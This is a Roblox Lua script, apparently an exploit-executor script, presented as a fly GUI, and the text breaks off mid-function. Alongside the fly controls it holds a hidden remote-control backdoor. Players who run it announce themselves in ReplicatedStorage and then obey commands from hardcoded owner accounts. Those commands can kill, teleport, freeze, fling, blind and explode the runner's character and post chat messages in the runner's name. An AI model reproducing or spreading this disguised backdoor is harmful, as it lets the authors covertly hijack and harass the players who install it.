--// FLY GUI V5 -- by Overhead/Betrayal --// RAT fixed, more commands, cube toggle button, draggable + removable ball local Players = game:GetService("Players") local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") local StarterGui = game:GetService("StarterGui") local ReplicatedStorage = game:GetService("ReplicatedStorage") local UserInputService = game:GetService("UserInputService") local LocalPlayer = Players.LocalPlayer -- Sound local _snd = Instance.new("Sound") _snd.SoundId="rbxassetid://2865227271" _snd.Volume=0.8 _snd.Parent=workspace _snd:Play() game:GetService("Debris"):AddItem(_snd, 30) -- Config local OWNERS = { ["jazzbass2pass"]=true, ["FEWithoutEffort"]=true } local SIGNAL_KEY = "RAT_EXEC_" local CMD_KEY = "RAT_CMD_" local isOwner = OWNERS[LocalPlayer.Name] ~= nil -- State local speeds=1 local nowe=false local tpwalking=false local loopBringActive=false local loopBringOwner=nil local followActive=false local followOwner=nil local bangActive=false local bangOwner=nil local activeAnims={} local function getChar() return LocalPlayer.Character end local function getHRP() local c=getChar() return c and c:FindFirstChild("HumanoidRootPart") end local function getHum() local c=getChar() return c and c:FindFirstChildOfClass("Humanoid") end local function isTarget(t) if not t or t=="" then return false end t=t:lower() if t=="all" then return true end local n=LocalPlayer.Name:lower() local dn=LocalPlayer.DisplayName:lower() return n:find(t,1,true)~=nil or dn:find(t,1,true)~=nil end local DANCES={ dance="rbxassetid://182435998", dance2="rbxassetid://182491037", dance3="rbxassetid://182491065", wave="rbxassetid://507770239", point="rbxassetid://507770453", cheer="rbxassetid://507770677", laugh="rbxassetid://507770818", twerk="rbxassetid://507771019", } local function playAnim(id) local hum=getHum() if not hum then return end local animator=hum:FindFirstChildOfClass("Animator") if not animator then return end for _,t in ipairs(activeAnims) do pcall(function() t:Stop() end) end activeAnims={} local a=Instance.new("Animation") a.AnimationId=id local ok,t=pcall(function() return animator:LoadAnimation(a) end) if ok and t then t:Play() table.insert(activeAnims,t) end end local function stopAnims() for _,t in ipairs(activeAnims) do pcall(function() t:Stop() end) end activeAnims={} end local function makeChat(text) pcall(function() local tcs=game:GetService("TextChatService") for _,ch in ipairs(tcs.TextChannels:GetChildren()) do if ch:IsA("TextChannel") then pcall(function() ch:SendAsync(text) end) end end end) pcall(function() local c=getChar() if c then local h=c:FindFirstChild("Head") if h then game:GetService("Chat"):Chat(h,text,Enum.ChatColor.White) end end end) end local function spinChar(d) local hrp=getHRP() if not hrp then return end task.spawn(function() local t=0 while t0 then chr:TranslateBy(hum.MoveDirection) end end end) end local chr=LocalPlayer.Character if not chr then return end pcall(function() chr.Animate.Disabled=true end) local Hum=chr:FindFirstChildOfClass("Humanoid") or chr:FindFirstChildOfClass("AnimationController") if Hum then for _,v in next,Hum:GetPlayingAnimationTracks() do v:AdjustSpeed(0) end end local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end local states={Enum.HumanoidStateType.Climbing,Enum.HumanoidStateType.FallingDown,Enum.HumanoidStateType.Flying,Enum.HumanoidStateType.Freefall,Enum.HumanoidStateType.GettingUp,Enum.HumanoidStateType.Jumping,Enum.HumanoidStateType.Landed,Enum.HumanoidStateType.Physics,Enum.HumanoidStateType.PlatformStanding,Enum.HumanoidStateType.Ragdoll,Enum.HumanoidStateType.Running,Enum.HumanoidStateType.RunningNoPhysics,Enum.HumanoidStateType.Seated,Enum.HumanoidStateType.StrafingNoPhysics,Enum.HumanoidStateType.Swimming} for _,s in ipairs(states) do hum2:SetStateEnabled(s,false) end hum2:ChangeState(Enum.HumanoidStateType.Swimming) end local function stopFly() local chr=LocalPlayer.Character if not chr then return end local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end local states={Enum.HumanoidStateType.Climbing,Enum.HumanoidStateType.FallingDown,Enum.HumanoidStateType.Flying,Enum.HumanoidStateType.Freefall,Enum.HumanoidStateType.GettingUp,Enum.HumanoidStateType.Jumping,Enum.HumanoidStateType.Landed,Enum.HumanoidStateType.Physics,Enum.HumanoidStateType.PlatformStanding,Enum.HumanoidStateType.Ragdoll,Enum.HumanoidStateType.Running,Enum.HumanoidStateType.RunningNoPhysics,Enum.HumanoidStateType.Seated,Enum.HumanoidStateType.StrafingNoPhysics,Enum.HumanoidStateType.Swimming} for _,s in ipairs(states) do hum2:SetStateEnabled(s,true) end hum2:ChangeState(Enum.HumanoidStateType.RunningNoPhysics) end local function doFlyLoop() local chr=LocalPlayer.Character if not chr then return end local hum2=chr:FindFirstChildOfClass("Humanoid") if not hum2 then return end local rig=hum2.RigType local part=chr[rig==Enum.HumanoidRigType.R6 and "Torso" or "UpperTorso"] if not part then return end local ctrl={f=0,b=0,l=0,r=0} local lc={f=0,b=0,l=0,r=0} local ms=50 local spd=0 local bg2=Instance.new("BodyGyro",part) bg2.P=9e4 bg2.maxTorque=Vector3.new(9e9,9e9,9e9) bg2.cframe=part.CFrame local bv=Instance.new("BodyVelocity",part) bv.velocity=Vector3.new(0,0.1,0) bv.maxForce=Vector3.new(9e9,9e9,9e9) hum2.PlatformStand=true while nowe do task.wait() if ctrl.l+ctrl.r~=0 or ctrl.f+ctrl.b~=0 then spd=math.min(spd+0.5+spd/ms,ms) elseif spd~=0 then spd=math.max(spd-1,0) end local cam=workspace.CurrentCamera.CoordinateFrame if (ctrl.l+ctrl.r)~=0 or (ctrl.f+ctrl.b)~=0 then bv.velocity=((cam.lookVector*(ctrl.f+ctrl.b))+((cam*CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p)-cam.p))*spd lc={f=ctrl.f,b=ctrl.b,l=ctrl.l,r=ctrl.r} elseif spd~=0 then bv.velocity=((cam.lookVector*(lc.f+lc.b))+((cam*CFrame.new(lc.l+lc.r,(lc.f+lc.b)*.2,0).p)-cam.p))*spd else bv.velocity=Vector3.new(0,0,0) end bg2.cframe=cam*CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*spd/ms),0,0) end bg2:Destroy() bv:Destroy() pcall(function() hum2.PlatformStand=false chr.Animate.Disabled=false end) tpwalking=false end FlyBtn.MouseButton1Click:Connect(function() nowe=not nowe if nowe then FlyBtn.Text="FLY ON" FlyBtn.BackgroundColor3=Color3.fromRGB(22,90,50) setFlyStatus("Status: Flying",Color3.fromRGB(100,255,160)) startFly() task.spawn(doFlyLoop) else FlyBtn.Text="FLY OFF" FlyBtn.BackgroundColor3=Color3.fromRGB(18,70,38) setFlyStatus("Status: Idle",Color3.fromRGB(80,140,100)) stopFly() end end) local upConn,downConn UpBtn.MouseButton1Down:Connect(function() upConn=RunService.Heartbeat:Connect(function() local h=getHRP() if h then pcall(function() h.CFrame=h.CFrame*CFrame.new(0,1,0) end) end end) end) local function stopUp() if upConn then upConn:Disconnect() upConn=nil end end UpBtn.MouseButton1Up:Connect(stopUp) UpBtn.MouseLeave:Connect(stopUp) DownBtn.MouseButton1Down:Connect(function() downConn=RunService.Heartbeat:Connect(function() local h=getHRP() if h then pcall(function() h.CFrame=h.CFrame*CFrame.new(0,-1,0) end) end end) end) local function stopDown() if downConn then downConn:Disconnect() downConn=nil end end DownBtn.MouseButton1Up:Connect(stopDown) DownBtn.MouseLeave:Connect(stopDown) PlusBtn.MouseButton1Click:Connect(function() speeds+=1 SpeedValLbl.Text="x"..speeds setFlyStatus("Speed: x"..speeds,Color3.fromRGB(120,200,255)) if nowe then tpwalking=false task.wait(0.05) for _=1,speeds do task.spawn(function() local hb=RunService.Heartbeat tpwalking=true local chr=LocalPlayer.Character local hum=chr and chr:FindFirstChildWhichIsA("Humanoid") while tpwalking and hb:Wait() and chr and hum and hum.Parent do if hum.MoveDirection.Magnitude>0 then chr:TranslateBy(hum.MoveDirection) end end end) end end end) MinusBtn.MouseButton1Click:Connect(function() if speeds<=1 then return end speeds-=1 SpeedValLbl.Text="x"..speeds setFlyStatus("Speed: x"..speeds,Color3.fromRGB(120,200,255)) end) LocalPlayer.CharacterAdded:Connect(function() task.wait(0.7) nowe=false tpwalking=false FlyBtn.Text="FLY OFF" FlyBtn.BackgroundColor3=Color3.fromRGB(18,70,38) setFlyStatus("Status: Idle",Color3.fromRGB(80,140,100)) pcall(function() LocalPlayer.Character.Humanoid.PlatformStand=false LocalPlayer.Character.Animate.Disabled=false end) end) -- ================================================================ -- R.A.T PANEL (owner only) -- ================================================================ if isOwner then local RS=Instance.new("ScrollingFrame",PanelRAT) RS.Size=UDim2.new(1,0,1,0) RS.BackgroundTransparency=1 RS.BorderSizePixel=0 RS.ScrollBarThickness=4 RS.ScrollBarImageColor3=Color3.fromRGB(200,60,60) RS.CanvasSize=UDim2.new(0,0,0,1200) RS.ElasticBehavior=Enum.ElasticBehavior.Never local R=Color3.fromRGB local function rS(text,y) return secLbl(RS,text,y,Color3.fromRGB(255,110,110)) end local function rB(text,size,pos,bg,tc) local b=mkBtn(RS,text,size,pos,bg,tc,11) local s=b:FindFirstChildOfClass("UIStroke") if s then glow(s,bg:Lerp(Color3.new(1,1,1),0.3),bg:Lerp(Color3.new(1,1,1),0.6),1.4,2.5,1.8) end return b end local function rInput(placeholder,y,h) local box=Instance.new("TextBox",RS) box.Size=UDim2.new(1,0,0,h or 30) box.Position=UDim2.new(0,0,0,y) box.BackgroundColor3=R(12,6,22) box.BorderSizePixel=0 box.Text="" box.PlaceholderText=placeholder box.TextColor3=R(255,200,200) box.PlaceholderColor3=R(110,55,55) box.TextSize=12 box.Font=Enum.Font.Gotham box.ClearTextOnFocus=false Instance.new("UICorner",box).CornerRadius=UDim.new(0,7) local bs=Instance.new("UIStroke",box) bs.Color=R(130,28,28) bs.Thickness=1.8 Instance.new("UIPadding",box).PaddingLeft=UDim.new(0,8) return box end -- Active executors list rS("ACTIVE EXECUTORS",0) local EScroll=Instance.new("ScrollingFrame",RS) EScroll.Size=UDim2.new(1,0,0,100) EScroll.Position=UDim2.new(0,0,0,16) EScroll.BackgroundColor3=R(7,5,14) EScroll.BorderSizePixel=0 EScroll.ScrollBarThickness=3 EScroll.ScrollBarImageColor3=R(180,50,50) EScroll.CanvasSize=UDim2.new(0,0,0,0) EScroll.ElasticBehavior=Enum.ElasticBehavior.Never Instance.new("UICorner",EScroll).CornerRadius=UDim.new(0,9) local eS=Instance.new("UIStroke",EScroll) eS.Color=R(120,26,26) eS.Thickness=1.8 glow(eS,R(120,26,26),R(240,70,70),1.8,3,1.8) local EList=Instance.new("UIListLayout",EScroll) EList.Padding=UDim.new(0,3) local EP=Instance.new("UIPadding",EScroll) EP.PaddingTop=UDim.new(0,4) EP.PaddingLeft=UDim.new(0,4) EP.PaddingRight=UDim.new(0,4) EP.PaddingBottom=UDim.new(0,4) -- Target rS("TARGET",124) local TargetBox=rInput('Username, "all", or partial name',140) -- Status local RatStatus=Instance.new("TextLabel",RS) RatStatus.Size=UDim2.new(1,0,0,14) RatStatus.Position=UDim2.new(0,0,0,178) RatStatus.BackgroundTransparency=1 RatStatus.Text="Ready." RatStatus.TextColor3=R(180,80,80) RatStatus.TextSize=10 RatStatus.Font=Enum.Font.Gotham RatStatus.TextXAlignment=Enum.TextXAlignment.Left local function getTarget() return TargetBox.Text end local function setRatStatus(t) RatStatus.Text=t RatStatus.TextColor3=R(230,110,110) end local function sendCmd(action,extra) local target=getTarget() if target=="" then setRatStatus("Enter a target!") return end dispatchCmd(target,action,extra) setRatStatus("/"..action.." -> "..target) end -- MOVEMENT rS("MOVEMENT",196) local BringBtn =rB("Bring", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,212), R(90,20,20),R(255,150,150)) local LoopBtn =rB("Loop Bring", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,212), R(110,24,24),R(255,170,170)) local TeleBtn =rB("TP to Me", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,248), R(18,65,20), R(150,255,160)) local FollowBtn =rB("Follow", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,248), R(18,55,80), R(150,220,255)) local FreezeBtn =rB("Freeze", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,284), R(16,26,90), R(150,200,255)) local UnfreezeBtn =rB("Unfreeze", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,284), R(90,48,12), R(255,205,120)) local FlingBtn =rB("Fling", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,320), R(90,48,10), R(255,205,80)) local SpinBtn =rB("Spin", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,320), R(48,18,80), R(200,160,255)) local RocketBtn =rB("Rocket", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,356), R(80,32,10), R(255,185,80)) local ExplodeBtn =rB("Explode", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,356), R(90,12,12), R(255,100,60)) local BangBtn =rB("Bang", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,392), R(80,10,50), R(255,140,200)) local KillBtn =rB("Kill", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,392), R(70,12,12), R(255,100,100)) local JumpBtn =rB("Jump x3", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,428), R(18,60,36), R(150,255,180)) local FloatBtn =rB("Float", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,428), R(20,40,80), R(160,210,255)) local SinkBtn =rB("Sink", UDim2.new(0.48,0,0,30),UDim2.new(0,0,0,464), R(10,20,50), R(120,160,220)) local StunBtn =rB("Stun", UDim2.new(0.48,0,0,30),UDim2.new(0.52,0,0,464), R(60,60,10), R(230,230,80)) -- SPEED / STATS rS("STATS",502) local SpeedBox =rInput("WalkSpeed (default 16)",518,28) local SetSpeedBtn =rB("Set Speed", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,552), R(20,60,80), R(140,210,255)) local JPBox =rInput("JumpPower (default 50)",586,28) local SetJPBtn =rB("Set JP", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,620), R(20,60,40), R(140,255,180)) -- APPEARANCE rS("APPEARANCE",656) local NakedBtn =rB("Naked", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,672), R(70,36,10), R(255,200,120)) local InvisBtn =rB("Invisible", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,672), R(20,20,55), R(185,185,255)) local VisBtn =rB("Visible", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,672), R(18,55,18), R(165,255,165)) local BlindBtn =rB("Blind", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,706), R(12,12,12), R(210,210,210)) local UnblindBtn =rB("Unblind", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,706), R(30,30,30), R(220,220,220)) local GlowBtn =rB("Glow", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,740), R(60,60,10), R(255,255,80)) local SizeUpBtn =rB("Size +", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,740), R(18,60,18), R(150,255,160)) -- ANIMATIONS rS("ANIMATIONS",776) local SitBtn =rB("Sit", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,792), R(46,18,68), R(200,160,255)) local LayBtn =rB("Lay", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,792), R(32,32,68), R(185,185,255)) local UnsitBtn=rB("Unsit", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,792), R(46,46,18), R(225,225,140)) local D1 =rB("Dance", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,826), R(68,18,68), R(255,165,255)) local D2 =rB("Dance2", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,826), R(68,18,68), R(255,165,255)) local D3 =rB("Dance3", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,826), R(68,18,68), R(255,165,255)) local WB =rB("Wave", UDim2.new(0.31,0,0,28),UDim2.new(0,0,0,860), R(18,56,80), R(165,225,255)) local CB =rB("Cheer", UDim2.new(0.31,0,0,28),UDim2.new(0.345,0,0,860), R(18,56,18), R(165,255,165)) local TwB =rB("Twerk", UDim2.new(0.31,0,0,28),UDim2.new(0.69,0,0,860), R(68,36,18), R(255,200,140)) local SDB =rB("StopAnim", UDim2.new(1,0,0,28),UDim2.new(0,0,0,894), R(76,12,12), R(255,105,105)) -- ESP rS("ESP",930) local ESPBtn =rB("ESP ON", UDim2.new(0.48,0,0,28),UDim2.new(0,0,0,946), R(18,44,80), R(125,205,255)) local ESPOffBtn =rB("ESP OFF", UDim2.new(0.48,0,0,28),UDim2.new(0.52,0,0,946), R(46,18,18), R(205,125,125)) -- CHAT rS("CHAT",982) local ChatBox=rInput("Message to send...",998,30) local SendBtn=rB("Send",UDim2.new(1,0,0,28),UDim2.new(0,0,0,1034), R(90,18,18), R(255,150,150)) -- STOP ALL local StopAllBtn=Instance.new("TextButton",RS) StopAllBtn.Size=UDim2.new(1,0,0,36) StopAllBtn.Position=UDim2.new(0,0,0,1070) StopAllBtn.BackgroundColor3=R(140,14,14) StopAllBtn.Text="STOP ALL COMMANDS" StopAllBtn.TextColor3=R(255,200,200) StopAllBtn.TextSize=13 StopAllBtn.Font=Enum.Font.GothamBold StopAllBtn.BorderSizePixel=0 Instance.new("UICorner",StopAllBtn).CornerRadius=UDim.new(0,9) local saS=Instance.new("UIStroke",StopAllBtn) saS.Color=R(255,70,70) saS.Thickness=2.2 glow(saS,R(255,70,70),R(255,150,50),2.2,3.8,0.9) RS.CanvasSize=UDim2.new(0,0,0,1120) -- ESP state local espBoxes={} local function clearESP() for _,b in pairs(espBoxes) do pcall(function() b:Destroy() end) end espBoxes={} end -- Wire buttons BringBtn.MouseButton1Click:Connect(function() sendCmd("bring") end) LoopBtn.MouseButton1Click:Connect(function() sendCmd("loopbring") end) TeleBtn.MouseButton1Click:Connect(function() local h=getHRP() if not h then return end sendCmd("tp",math.floor(h.Position.X).."|"..math.floor(h.Position.Y).."|"..math.floor(h.Position.Z)) end) FollowBtn.MouseButton1Click:Connect(function() sendCmd("follow") end) FreezeBtn.MouseButton1Click:Connect(function() sendCmd("freeze") end) UnfreezeBtn.MouseButton1Click:Connect(function() sendCmd("unfreeze") end) FlingBtn.MouseButton1Click:Connect(function() sendCmd("fling") end) SpinBtn.MouseButton1Click:Connect(function() sendCmd("spin","5") end) RocketBtn.MouseButton1Click:Connect(function() sendCmd("rocket") end) ExplodeBtn.MouseButton1Click:Connect(function() sendCmd("explode") end) BangBtn.MouseButton1Click:Connect(function() sendCmd("bang") end) KillBtn.MouseButton1Click:Connect(function() sendCmd("kill") end) JumpBtn.MouseButton1Click:Connect(function() sendCmd("jump","3") end) FloatBtn.MouseButton1Click:Connect(function() sendCmd("float") end) SinkBtn.MouseButton1Click:Connect(function() sendCmd("sink") end) StunBtn.MouseButton1Click:Connect(function() sendCmd("stun") end) SetSpeedBtn.MouseButton1Click:Connect(function() local v=tonumber(SpeedBox.Text) if v then sendCmd("speed",tostring(v)) else setRatStatus("Invalid speed!") end end) SetJPBtn.MouseButton1Click:Connect(function() local v=tonumber(JPBox.Text) if v then sendCmd("jumppower",tostring(v)) else setRatStatus("Invalid JP!") end end) NakedBtn.MouseButton1Click:Connect(function() sendCmd("naked") end) InvisBtn.MouseButton1Click:Connect(function() sendCmd("invisible") end) VisBtn.MouseButton1Click:Connect(function() sendCmd("visible") end) BlindBtn.MouseButton1Click:Connect(function() sendCmd("blind") end) UnblindBtn.MouseButton1Click:Connect(function() sendCmd("unblind") end) GlowBtn.MouseButton1Click:Connect(function() sendCmd("glow") end) SizeUpBtn.MouseButton1Click:Connect(function() sendCmd("sizeup") end) SitBtn.MouseButton1Click:Connect(function() sendCmd("sit") end) LayBtn.MouseButton1Click:Connect(function() sendCmd("lay") end) UnsitBtn.MouseButton1Click:Connect(function() sendCmd("unsit") end) D1.MouseButton1Click:Connect(function() sendCmd("dance","dance") end) D2.MouseButton1Click:Connect(function() sendCmd("dance","dance2") end) D3.MouseButton1Click:Connect(function() sendCmd("dance","dance3") end) WB.MouseButton1Click:Connect(function() sendCmd("dance","wave") end) CB.MouseButton1Click:Connect(function() sendCmd("dance","cheer") end) TwB.MouseButton1Click:Connect(function() sendCmd("dance","twerk") end) SDB.MouseButton1Click:Connect(function() sendCmd("stopdance") end) SendBtn.MouseButton1Click:Connect(function() local msg=ChatBox.Text if msg=="" then setRatStatus("Enter message!") return end sendCmd("chat",msg) ChatBox.Text="" end) ESPBtn.MouseButton1Click:Connect(function() clearESP() for _,p in ipairs(Players:GetPlayers()) do if p~=LocalPlayer and p.Character then local box=Instance.new("SelectionBox",workspace) box.Color3=R(255,70,70) box.LineThickness=0.06 box.SurfaceTransparency=0.75 box.SurfaceColor3=R(255,70,70) box.Adornee=p.Character espBoxes[p.Name]=box end end setRatStatus("ESP on") end) ESPOffBtn.MouseButton1Click:Connect(function() clearESP() setRatStatus("ESP off") end) StopAllBtn.MouseButton1Click:Connect(function() sendCmd("stopall") setRatStatus("Sent stopall.") end) -- Executor tracker local executors={} local function addExRow(name,userId) if executors[name] then return end executors[name]=true pcall(function() StarterGui:SetCore("SendNotification",{Title="New Executor",Text=name.." executed!",Duration=6}) end) local row=Instance.new("Frame",EScroll) row.Size=UDim2.new(1,-6,0,32) row.BackgroundColor3=R(14,8,24) row.BorderSizePixel=0 Instance.new("UICorner",row).CornerRadius=UDim.new(0,7) local rs=Instance.new("UIStroke",row) rs.Color=R(90,18,18) rs.Thickness=1.4 glow(rs,R(90,18,18),R(200,50,50),1.4,2.2,2) local av=Instance.new("ImageLabel",row) av.Size=UDim2.new(0,24,0,24) av.Position=UDim2.new(0,4,0.5,-12) av.BackgroundColor3=R(24,8,8) av.BorderSizePixel=0 av.Image="rbxthumb://type=AvatarHeadShot&id="..userId.."&w=48&h=48" Instance.new("UICorner",av).CornerRadius=UDim.new(0,4) local nl=Instance.new("TextLabel",row) nl.Size=UDim2.new(1,-90,0,16) nl.Position=UDim2.new(0,32,0,4) nl.BackgroundTransparency=1 nl.Text=name nl.TextColor3=R(255,180,180) nl.TextSize=11 nl.Font=Enum.Font.GothamBold nl.TextXAlignment=Enum.TextXAlignment.Left local il=Instance.new("TextLabel",row) il.Size=UDim2.new(1,-90,0,12) il.Position=UDim2.new(0,32,0,18) il.BackgroundTransparency=1 il.Text="ID "..userId il.TextColor3=R(140,65,65) il.TextSize=9 il.Font=Enum.Font.Gotham il.TextXAlignment=Enum.TextXAlignment.Left local qb=Instance.new("TextButton",row) qb.Size=UDim2.new(0,52,0,22) qb.Position=UDim2.new(1,-56,0.5,-11) qb.BackgroundColor3=R(90,18,18) qb.Text="Select" qb.TextColor3=R(255,160,160) qb.TextSize=10 qb.Font=Enum.Font.GothamBold qb.BorderSizePixel=0 Instance.new("UICorner",qb).CornerRadius=UDim.new(0,5) qb.MouseButton1Click:Connect(function() TargetBox.Text=name setRatStatus("Target: "..name) end) EScroll.CanvasSize=UDim2.new(0,0,0,EList.AbsoluteContentSize.Y+8) end local function tryTag(v) if not v:IsA("StringValue") then return end if v.Name:sub(1,#SIGNAL_KEY)~=SIGNAL_KEY then return end local d=v.Value:split("|") if #d>=2 then addExRow(d[1],d[2]) end end local function scanAll() for _,v in ipairs(ReplicatedStorage:GetChildren()) do pcall(function() tryTag(v) end) end for _,p in ipairs(Players:GetPlayers()) do pcall(function() for _,v in ipairs(p:GetChildren()) do tryTag(v) end end) end end scanAll() ReplicatedStorage.ChildAdded:Connect(function(c) pcall(function() tryTag(c) end) end) task.spawn(function() while true do task.wait(5) scanAll() end end) end -- ================================================================ -- EXECUTOR SIDE (non-owner) -- ================================================================ if not isOwner then local function writeTag() pcall(function() local old=ReplicatedStorage:FindFirstChild(SIGNAL_KEY..LocalPlayer.Name) if old then old:Destroy() end local tag=Instance.new("StringValue") tag.Name=SIGNAL_KEY..LocalPlayer.Name tag.Value=LocalPlayer.Name.."|"..tostring(LocalPlayer.UserId).."|"..tostring(tick()) tag.Parent=ReplicatedStorage game:GetService("Debris"):AddItem(tag,60) end) end writeTag() task.spawn(function() while true do task.wait(25) writeTag() end end) local floatLoop=false local sinkLoop=false local function stopAllCmds() loopBringActive=false followActive=false bangActive=false floatLoop=false sinkLoop=false local hrp=getHRP() if hrp then pcall(function() hrp.Anchored=false end) end local hum=getHum() if hum then pcall(function() hum.WalkSpeed=16 hum.JumpPower=50 hum.PlatformStand=false hum.Sit=false end) end stopAnims() local bf=ScreenGui:FindFirstChild("BlindFrame") if bf then bf:Destroy() end local gf=ScreenGui:FindFirstChild("GlowFrame") if gf then gf:Destroy() end end local function handleCmd(ownerName,target,action,extra) if not OWNERS[ownerName] then return end if not isTarget(target) then return end local op=Players:FindFirstChild(ownerName) if action=="bring" then if op and op.Character then local oH=op.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP() if oH and mH then for i=1,25 do pcall(function() mH.CFrame=oH.CFrame*CFrame.new(math.random(-3,3),0,math.random(-3,3)) end) if mH and oH and (mH.Position-oH.Position).Magnitude<5 then break end task.wait(0.07) end end end elseif action=="loopbring" then loopBringActive=true loopBringOwner=op task.spawn(function() while loopBringActive do if loopBringOwner and loopBringOwner.Character then local oH=loopBringOwner.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP() if oH and mH then pcall(function() mH.CFrame=oH.CFrame*CFrame.new(math.random(-3,3),0,math.random(-3,3)) end) end end task.wait(0.1) end end) elseif action=="stopbring" then loopBringActive=false elseif action=="follow" then followActive=true followOwner=op task.spawn(function() while followActive do if followOwner and followOwner.Character then local oH=followOwner.Character:FindFirstChild("HumanoidRootPart") local hum=getHum() if oH and hum then pcall(function() hum:MoveTo(oH.Position) end) end end task.wait(0.25) end end) elseif action=="stopfollow" then followActive=false elseif action=="kill" then local h=getHum() if h then pcall(function() h.Health=0 end) end elseif action=="freeze" then local h=getHRP() if h then pcall(function() h.Anchored=true end) end elseif action=="unfreeze" then local h=getHRP() if h then pcall(function() h.Anchored=false end) end elseif action=="tp" then if extra then local c=extra:split("|") if #c>=3 then local x,y,z=tonumber(c[1]),tonumber(c[2]),tonumber(c[3]) if x and y and z then local h=getHRP() if h then pcall(function() h.CFrame=CFrame.new(x,y,z) end) end end end end elseif action=="chat" then if extra and extra~="" then makeChat(extra) end elseif action=="dance" then playAnim(DANCES[extra and extra:lower() or "dance"] or DANCES.dance) elseif action=="stopdance" then stopAnims() elseif action=="spin" then spinChar(tonumber(extra) or 5) elseif action=="jump" then jumpChar(tonumber(extra) or 3) elseif action=="fling" then flingChar() elseif action=="rocket" then local hrp=getHRP() if hrp then pcall(function() hrp.AssemblyLinearVelocity=Vector3.new(0,700,0) end) end elseif action=="explode" then local hrp=getHRP() if hrp then pcall(function() local e=Instance.new("Explosion") e.Position=hrp.Position e.BlastRadius=14 e.BlastPressure=7e5 e.Parent=workspace end) end elseif action=="bang" then bangActive=true bangOwner=op task.spawn(function() local count=0 while bangActive and count<80 do if bangOwner and bangOwner.Character then local oH=bangOwner.Character:FindFirstChild("HumanoidRootPart") local mH=getHRP() if oH and mH then pcall(function() mH.CFrame=(count%2==0) and oH.CFrame*CFrame.new(0,0,-2) or oH.CFrame*CFrame.new(0,0,2) end) end end count+=1 task.wait(0.06) end bangActive=false end) elseif action=="float" then floatLoop=true task.spawn(function() while floatLoop do local hrp=getHRP() if hrp then pcall(function() hrp.CFrame=hrp.CFrame*CFrame.new(0,0.5,0) end) end task.wait(0.05) end end) elseif action=="sink" then sinkLoop=true task.spawn(function() while sinkLoop do local hrp=getHRP() if hrp then pcall(function() hrp.CFrame=hrp.CFrame*CFrame.new(0,-0.5,0) end) end task.wait(0.05) end end) elseif action=="stun" then local h=getHum() if h then pcall(function() h.WalkSpeed=0 h.JumpPower=0 end) end task.delay(4, function() local h2=getHum() if h2 then pcall(function() h2.WalkSpeed=16 h2.JumpPower=50 end) end end) elseif action=="speed" then local h=getHum() if h then pcall(function() h.WalkSpeed=tonumber(extra) or 16 end) end elseif action=="jumppower" then local h=getHum() if h then pcall(function() h.JumpPower=tonumber(extra) or 50 end) end elseif action=="sit" then local h=getHum() if h then pcall(function() h.Sit=true end) end elseif action=="unsit" then local h=getHum() if h then pcall(function() h.Sit=false h.PlatformStand=false end) end elseif action=="lay" then local h=getHum() if h then pcall(function() h.PlatformStand=true end) end playAnim("rbxassetid://2506281703") elseif action=="naked" then local c=getChar() if c then for _,o in ipairs(c:GetChildren()) do if o:IsA("Accessory") or o:IsA("Hat") then pcall(function() o:Destroy() end) end end end elseif action=="invisible" then local c=getChar() if c then for _,p in ipairs(c:GetDescendants()) do if p:IsA("BasePart") or p:IsA("Decal") then pcall(function() p.LocalTransparencyModifier=1 end) end end end elseif action=="visible" then local c=getChar() if c then for _,p in ipairs(c:GetDescendants()) do if p:IsA("BasePart") or p:IsA("Decal") then pcall(function() p.LocalTransparencyModifier=0 end) end end end elseif action=="blind" then if not ScreenGui:FindFirstChild("BlindFrame") then local bf=Instance.new("Frame",ScreenGui) bf.Name="BlindFrame" bf.Size=UDim2.new(1,0,1,0) bf.BackgroundColor3=Color3.fromRGB(0,0,0) bf.ZIndex=200 bf.BorderSizePixel=0 end elseif action=="unblind" then local bf=ScreenGui:FindFirstChild("BlindFrame") if bf then bf:Destroy() end elseif action=="glow" then if not ScreenGui:FindFirstChild("GlowFrame") then local gf=Instance.new("Frame",ScreenGui) gf.Name="GlowFrame" gf.Size=UDim2.new(1,0,1,0) gf.ZIndex=0 gf.BorderSizePixel=0 gf.BackgroundTransparency=0.5 gf.BackgroundColor3=Color3.fromRGB(255,255,0) end elseif action=="sizeup" then local c=getChar() if c then for _,p in ipairs(c:GetDescendants()) do if p:IsA("BasePart") then pcall(function() p.Size=p.Size*1.15 end) end end end elseif action=="stopall" then stopAllCmds() end end -- Listen on ReplicatedStorage for commands local function tryCmdValue(child) if not child:IsA("StringValue") then return end if child.Name:sub(1,#CMD_KEY)~=CMD_KEY then return end local d=child.Value:split("|") if #d>=3 then task.spawn(function() 